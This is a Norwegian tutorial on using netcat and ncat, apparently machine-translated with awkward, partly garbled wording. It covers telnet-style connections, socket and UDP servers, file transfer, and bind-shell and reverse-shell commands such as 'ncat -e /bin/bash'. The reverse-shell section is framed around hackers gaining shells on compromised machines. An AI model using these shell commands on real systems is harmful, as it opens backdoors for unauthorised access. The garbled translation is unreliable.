Netcat
Netcat er en terminal program som ligner på telnet-program, men har mange flere funksjoner.
det er en «power-versjon» av den tradisjonelle telnet-program.
Bortsett fra grunnleggende telnet-funksjoner den kan gjøre diverse andre ting som å opprette socket servere til å lytte etter innkommende tilkoblinger på porter, overføre filer fra terminal osv.
Så det er et lite verktøy som er fullpakket med massevis av funksjoner., Derfor den kalles for «Sveitsisk-army knife for TCP/IP».
netcat manuell definerer netcat som
Netcat is a computer networking service for reading from and writing network connections using TCP or UDP. Netcat is designed to be a dependable "back-end" device that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities.
Så i utgangspunktet netcat er et verktøy for å gjøre noen toveis nettverk kommunikasjon over TCP/UDP-protokollene.
Mer teknisk sett, netcat kan fungere som en socket server eller klient og samhandle med andre programmer på samme tid sende og motta data via nettverket.
en Slik definisjon lyder for generisk og gjøre det vanskelig å forstå hva dette verktøyet gjør og hva er det nyttig for., Dette kan bare forstås ved å bruke og leke med den.
Ncat
Så, den første tingen å gjøre ville være å sette netcat på din maskin. Netcat kommer i forskjellige smaker. Betyr at det er tilgjengelig fra flere leverandører.
Men de fleste av dem har tilsvarende funksjonalitet. På Ubuntu det er 3 pakker kalt netcat-openbsd, netcat-tradisjonelle og ncat.
Min foretrukne versjonen er ncat. Ncat har blitt utviklet av nmap team er den beste av alle netcats tilgjengelig og viktigst av sin cross-plattform og fungerer svært godt på windows.,
– Prosjektets nettside:
Installer Ncat på Windows
Windows-versjonen av netcat kan lastes ned fra
last ned og pakk ut filene til et sted egnet.
Eller laste ned ncat windows-versjon
Installer Ncat på Ubuntu / Linux Mint / Linux
Ubuntu syntaptic pakken har netcat-openbsd og netcat-tradisjonelle pakker tilgjengelig. Installere dem. Nmap kommer også med en netcat gjennomføring kalt ncat. Installer det også.,
Installere på Ubuntu
$ sudo apt-get install netcat-traditional netcat-openbsd nmap
for Å bruke netcat-openbsd implementering bruk «nc» – kommandoen.
for Å bruke netcat-tradisjonell implementering bruk «nc.tradisjonelle» – kommandoen
for Å bruke nmap ncat bruke «ncat» – kommandoen.
Netcat Kommando Eksempler
I den følgende veiledningen vi kommer til å bruke alle av dem i forskjellige eksempler på forskjellige måter.
Telnet
Den aller første tingen netcat kan brukes som en telnet-program. Kan du se hvordan.
$ nc -v google.com 80
Nå netcat er koblet til google.com på port 80 og sin tid for å sende meldingen., Kan prøve å hente indeks-siden. For denne typen «FÅ index.html HTTP/1.1» og trykk Enter-tasten to ganger. Husk to ganger.
output fra google.com har blitt mottatt og lest på terminalen.
Enkel socket server
for Å åpne en enkel socket server skriver du inn følgende kommando.
$ nc -l -v 1234
– kommandoen ovenfor betyr : Netcat lytte til TCP-port 1234. I -v-alternativet gir detaljert utgang for bedre forståelse., Nå fra en annen terminal kan du prøve å koble til port 1234 bruke telnet-kommandoen slik :
$ telnet localhost 1234Trying 127.0.0.1...Connected to localhost.Escape character is '^]'.abcting tong
Når du kobler vi sende en testmelding som abc og ting tong til netcat socket server. Den netcat socket server ekko-data mottatt fra telnet-klient.
$ nc -l -v 5555Connection from 127.0.0.1 port 5555 acceptedabcting tong
Dette er et komplett Chatte-Systemet. Skriv noe i netcat terminal og det vil dukke opp i telnet, terminal, så vel. Så denne teknikken kan brukes for å kommunisere mellom 2 maskiner.,
Komplett ECHO Server
Ncat med-c alternativet kan brukes til å starte en echo server. Kilde
Start echo server ved hjelp av ncat som følger
$ ncat -v -l -p 5555 -c 'while true; do read i && echo $i; done'
Nå fra en annen terminal koble til ved hjelp av telnet og skriv noe. Det vil bli send tilbake med «» som prefiks.
netcat-openbsd-versjonen ikke har-c alternativet. Husk å alltid bruke -v alternativet for detaljert utgang.
Merk : Netcat kan bli bedt om å lagre data til en fil i stedet for som et ekko av det til terminalen.,
$ nc -l -v 1234 > data.txt
Opprett UDP-Server
Netcat fungerer med udp-porter i tillegg. For å starte en netcat server ved hjelp av udp-porter bruke -u alternativ
$ nc -v -ul 7000
UDP-Klient
Koble til server ved hjelp av netcat fra en annen terminal
$ nc localhost -u 7000
Nå begge terminalene kan chatte med hverandre.
File transfer
En hel fil kan overføres med netcat. Her er et kjapt eksempel.
En maskin – Send Fil
$ cat happy.txt | ncat -v -l -p 5555Ncat: Version 5.21 ( http://nmap.org/ncat )Ncat: Listening on 0.0.0.0:5555
I kommandoen ovenfor, katten kommandoen leser og utganger innhold av glade.txt., Produksjonen er ikke gjentatt til terminalen, i stedet er ført i rør eller matet til ncat som har åpnet en socket server på port 5555.
På maskin B – Motta Filen
$ ncat localhost 5555 > happy_copy.txt
I kommandoen ovenfor ncat vil koble til localhost på port 5555 og hva den mottar vil bli skrevet til happy_copy.txt
Nå happy_copy.txt vil være en kopi av glade.txt siden data som blir sende over port 5555 er innholdet av glade.txt i forrige kommando.
Netcat vil sende filen til den første klient som kobler seg til den. Etter at det er over.,
Og etter den første klienten stenger ned tilkobling, netcat server vil også lukke tilkoblingen.
– Port skanning
Netcat kan også brukes til port skanner. Men dette er ikke en riktig bruk av netcat og en mer anvendelig verktøy som nmap bør brukes.
«- n» – parameteren her hindrer DNS-oppslag, «z» gjør nc ikke motta noen data fra serveren, og «-w 1» gjør tidsavbrudd for tilkobling etter 1 sekund av inaktivitet.
Remote Shell/Bakdør
Ncat kan brukes til å starte en grunnleggende shell på et eksternt system på en port, uten at du trenger ssh., Her er et kjapt eksempel.
$ ncat -v -l -p 7777 -e /bin/bash
Den ovenfor vil starte en server på port 7777, og vil passere alle innkommende inn til bash-kommandoen, og resultatene vil bli send tilbake. Kommandoen i utgangspunktet konverterer bash-programmet inn i en server. Så netcat kan brukes til å konvertere alle prosesser i en server.
Koble til denne bash-skallet bruker nc fra en annen terminal
$ nc localhost 7777
Nå kan du prøve å utføre en kommando som hjelp , ls , pwd etc.
Windows
På windows-maskin cmd.,exe (dos-ledetekst-programmet) brukes til å starte en lignende skall bruke netcat. Syntaksen for kommandoen er den samme.
C:\tools\nc>nc -v -l -n -p 8888 -e cmd.exelistening on 8888 ...connect to from (UNKNOWN) 1182
Nå en annen konsollen kan koble til ved hjelp av telnet-kommandoen
Selv om netcat men kan brukes for å konfigurere fjernkontrollen skjell, er ikke nyttig for å få et interaktivt grensesnitt på en ekstern system fordi det i de fleste tilfeller netcat ville ikke være installert på systemet.
Den mest effektive metoden for å få et skall på en ekstern maskin ved hjelp av netcat er ved å lage omvendte skjell.,
Omvendt Skjell
Dette er den mest kraftfulle funksjonen av netcat som det er mest brukt av hackere. Netcat er brukt i nesten alle omvendt shell teknikker for å fange omvendt tilkobling av skall-program fra en hacket system.
Omvendt telnet
Først la oss ta et eksempel på en enkel omvendt telnet-forbindelse. I interesserte forbund samordne telnet-forbindelse klienten kobler seg til serveren skal starte en kommunikasjonskanal.
Your system runs (# telnet server port_number) =============> Server
Nå ved hjelp av de ovennevnte teknikk som du kan koble til si 80-porten til serveren for å hente en webside., Men en hacker er interessert i å få en kommando shell. Dens ledeteksten i windows eller terminal for linux. Kommandoen skall gir optimal kontroll av det eksterne systemet. Nå er det ingen tjeneste som kjører på den eksterne serveren som du kan koble til og få en kommando shell.
Så når en hacker hacks til et system, han trenger for å få en kommando shell. Siden det ikke er mulig direkte, løsningen er å bruke en omvendt shell. I en omvendt shell serveren starter en tilkobling til hacker-maskinen og gir en kommando shell.,
Step 1 : Hacker machine (waiting for incoming connection)Step 2 : Server ==============> Hacker machine
for Å vente på innkommende tilkoblinger, en lokal socket lytteren må være åpnet. Netcat/ncat kan gjøre dette.
Først en netcat server skal være i gang på lokal maskin eller hacker maskinen.
maskinen
$ ncat -v -l -p 8888Ncat: Version 6.00 ( http://nmap.org/ncat )Ncat: Listening on :::8888Ncat: Listening on 0.0.0.0:8888
Den ovenfor vil starte en socket server (listener) på port 8888 på lokal maskin/hacker-maskin.
Nå en omvendt shell har til å bli lansert på måldatamaskinen/hacket maskinen. Det finnes en rekke måter å starte omvendt skjell.,
For noen metode for å arbeide, hacker-enten må være i stand til å kjøre vilkårlig kommando på systemet eller bør være i stand til å laste opp en fil som kan kjøres ved å åpne i nettleseren (som et php-script).
I dette eksempelet har vi ikke gjør noen av de ovennevnte tingene. Vi skal bare kjøre netcat på serveren også å kaste en omvendt command shell for å demonstrere konseptet. Så netcat bør være installert på serveren eller måldatamaskinen.,
Maskin B :
$ ncat localhost 8888 -e /bin/bash
Denne kommandoen vil koble til En maskin på port 8888 og fôr i produksjonen av bash effektivt å gi en shell-til-maskin A. Nå En maskin kan utføre en kommando på en maskin B.
Maskinen
I en ekte hacking/penetrasjon tester scenariet er det ikke mulig å kjøre netcat på måldatamaskinen. Derfor andre teknikker som er brukt for å skape et skall. Disse omfatter opplasting omvendt shell php skript og kjører dem ved å åpne dem i nettleseren. Eller å starte en buffer overflow utnytte til å utføre reverse shell nyttelast.,
Konklusjon
Så i eksemplene ovenfor så vi hvordan du bruker netcat for ulike nettverksaktiviteter som telnet, omvendt skjell etc. Hackere bruker det meste er det for å skape rask omvendt skjell.
I denne opplæringen vi har dekket noen av de grunnleggende og felles bruk av netcat. Sjekk ut wikipedia-artikkelen for mer informasjon om hva annet netcat kan gjøre.